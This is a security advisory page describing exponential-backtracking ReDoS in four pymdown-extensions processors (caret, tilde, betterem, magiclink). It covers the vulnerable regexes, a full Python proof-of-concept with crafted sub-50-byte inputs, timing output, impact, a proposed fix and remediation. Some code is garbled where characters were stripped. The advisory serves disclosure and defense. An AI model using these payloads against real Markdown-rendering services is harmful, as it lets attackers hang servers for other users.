GHSA-gm37-52c6-37mw: High severity pip/pymdown-extensions vulnerability

Published Aug 7, 2026
·
Updated

Summary

Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's default configuration and are reachable through the documented public API. The caret/tilde/ betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in 10.13, Dec 2024) — earlier releases used a linear (.+?) / ([^\s]+?) content group — and is present through 11.0 (latest); magiclink's host pattern is long-standing and affects effectively all releases. Likely CWE-1333 (Inefficient Regular Expression Complexity).

This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption, REFIGNUM, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a ./\. typo).

Details

Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into {2,}-sized pieces in exponentially many ways, wrapped in a lazy +? that must fail before the engine can give up:

| Extension | Regex | Location (11.0) | |---|---|---| | pymdownx.caret (superscript ^…^) | SUP2 | pymdownx/caret.py:56 | | pymdownx.tilde (subscript ~…~) | SUB2 | pymdownx/tilde.py:55 | | pymdownx.betterem (underscore …) | SMARTUNDEREM2 (default) | pymdownx/betterem.py:93 | | pymdownx.magiclink (bare-URL autolink) | RELINK | pymdownx/magiclink.py:56 (host at :59) |

pymdownx/caret.py:56 (pymdown-extensions 11.0):

python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'

The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the \^{2,} branch. A run of k carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine explores every partition before failing. SUB2 (tilde) and SMARTUNDEREM2 (betterem) are the same construct for ~ and . In betterem the default smartenable='underscore' routes underscores to SmartUnderscoreProcessor → SMARTUNDEREM2 (betterem.py:93), which is the default-reachable, API-exploitable pattern; the non-smart UNDEREM2 (:69, used only when smartenable is asterisk/disable) shares the shape but did not reproduce through the public markdown.markdown() pipeline on the tested payload, so a fix and regression test should target SMARTUNDEREM2.

pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially:

python (?:ht|f)tps?://[^\W][-\w](?:\.[-\w.]+) # host: '\.' and '[-\w.]' inside (?:...) both match '.'

SUP2/SUB2/SMARTUNDEREM2 are applied at each delimiter occurrence via the default PatternSequenceProcessor subclasses (pymdownx/util.py); RELINK is applied by MagiclinkPattern (registered unconditionally at priority 85). In all four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted src in default configuration is sufficient to reach the regex.

PoC

Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).

python import signal import time from importlib.metadata import version

import markdown

print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")

CAP = 5.0 # a single render exceeding this is treated as a hang

class Timeout(Exception): pass

def render(ext, text): signal.signal(signal.SIGALRM, lambda : ( for in ()).throw(Timeout())) signal.setitimer(signal.ITIMERREAL, CAP) t = time.perfcounter() try: markdown.markdown(text, extensions=[ext]) return time.perfcounter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMERREAL, 0)

ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" n + "b", lambda n: "^" + "a" n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" n + "b", lambda n: "~" + "a" n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "a" + "" n + "b", lambda n: "" + "a" n + "", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." n + " ", lambda n: "http://" + "a" n + ".com ", [28, 32, 36], 40), }

repro = [] for ext, (evil, benign, ramp, hang) in CASES.items(): basetxt = benign(hang) # valid, closed run: same regex machinery, but linear base = render(ext, basetxt) print(f"\n[{ext}] benign baseline (len {len(basetxt)}, valid+closed): {base 1e3:.3f} ms") prev = None for n in ramp: txt = evil(n) dt = render(ext, txt) ratio = f" (x{dt / prev:.1f})" if (prev and dt) else "" shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)" print(f" malicious len {len(txt):3d}: {shown}{ratio}") prev = dt txt = evil(hang) dt = render(ext, txt) hung = dt is None print(f" malicious len {len(txt):3d}: " f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}") ok = base < 0.05 and (hung or dt > 1.0) repro.append(ok) print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte " f"malicious line stalls the renderer; a valid {len(basetxt)}-byte line is instant.")

assert all(repro), "not reproduced" print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the " "public markdown.markdown() API, default config (each < 50-byte input).")

Run:

bash uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py

The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it is independent of the Markdown library version (markdown pinned only for byte-exact output). Observed output:

pymdown-extensions 11.0 / markdown 3.10.2

[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms malicious len 27: 0.003 s malicious len 33: 0.054 s (x16.6) malicious len 39: 0.946 s (x17.6) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms malicious len 27: 0.003 s malicious len 33: 0.053 s (x17.1) malicious len 39: 0.962 s (x18.2) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms malicious len 27: 0.003 s malicious len 33: 0.052 s (x17.1) malicious len 39: 0.948 s (x18.1) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms malicious len 37: 0.033 s malicious len 41: 0.210 s (x6.4) malicious len 45: 1.405 s (x6.7) malicious len 49: > 5 s (HANG) => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.

VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).

The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the unclosed crafted run. Extending it a few more characters pushes the render time into minutes and beyond.

Impact

Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:

- General Python web apps that render user-supplied Markdown (comments, wikis, issue/ticket bodies, chat, live preview) — notably any app using pymdownx.extra, which bundles betterem with the vulnerable default smartenable='underscore', or that reuses a Material-style extension block in a runtime renderer. - Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.

- Attacker: unauthenticated, remote (anyone who can submit Markdown). - Configuration: default for each extension. - Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).

Suggestion

The vulnerable content groups need to be rewritten so a delimiter run has exactly one parse, removing the {2,} partition ambiguity that lets the engine re-segment a run on backtracking. For the emphasis patterns, restructuring the content so a delimiter run is consumed in a single, non-re-partitionable way (rather than by a {2,} branch inside a +? group) removes the blow-up; for RELINK, disambiguate the host so . is matched in exactly one place (a single labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)) rather than by overlapping classes. Possessive quantifiers / atomic groups are the most direct tool but require Python 3.11+; since the project supports Python 3.10, a structural rewrite is the portable option.

A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.

References

- Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2), pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMARTUNDEREM2, default; :69 UNDEREM2 shares the shape), pymdownx/magiclink.py:56 (RELINK, host subexpression at :59). - Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption REFIGNUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. The caret/tilde/betterem content groups gained the vulnerable {2,} alternation in PR #2547 (v10.13); earlier releases used a linear (.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).

Affected Software

1 affected componentFixes available
pip/pymdown-extensions<=11.0.0
11.0.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pymdown-extensions to a version that resolves this vulnerability.

    Fixed in 11.0.1
  2. Upgrade

    Upgrade pymdown-extensions to a version that resolves this vulnerability.

    Fixed in 11.0
  3. Compensating control

    When rendering untrusted Markdown via the public `markdown.markdown()` API, mitigate the ReDoS by isolating the rendering thread/process (e.g., run Markdown rendering in a separate worker with a hard timeout, since a single crafted line stalls the renderer at 100% CPU).

  4. Operational

    If an application is exposed to untrusted user Markdown (comments/wikis/hosted docs/CI builds), review and update the `pymdown-extensions`/`markdown` dependency set used by the renderer, since the issue is reproduced for `pymdown-extensions 11.0` with `markdown 3.10.2` under the default configuration of the affected inline processors.

Event History

Aug 7, 2026
Advisory Published
via GitHub·06:26 PM
Data Sourced
via GitHub·06:26 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-gm37-52c6-37mw?

The severity of GHSA-gm37-52c6-37mw is rated as high with a score of 7.5.

2

What vulnerabilities does GHSA-gm37-52c6-37mw introduce in pymdown-extensions?

GHSA-gm37-52c6-37mw introduces vulnerabilities related to regular expressions with exponential backtracking that can lead to unbounded CPU usage.

3

How do I fix GHSA-gm37-52c6-37mw?

To fix GHSA-gm37-52c6-37mw, you should update to the latest version of pymdown-extensions where the vulnerabilities have been addressed.

4

What impact does GHSA-gm37-52c6-37mw have on my application?

GHSA-gm37-52c6-37mw can lead to performance degradation by consuming excessive CPU resources when processing untrusted Markdown input.

5

Is my application affected by GHSA-gm37-52c6-37mw?

Your application may be affected by GHSA-gm37-52c6-37mw if it uses pymdown-extensions for rendering Markdown input.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203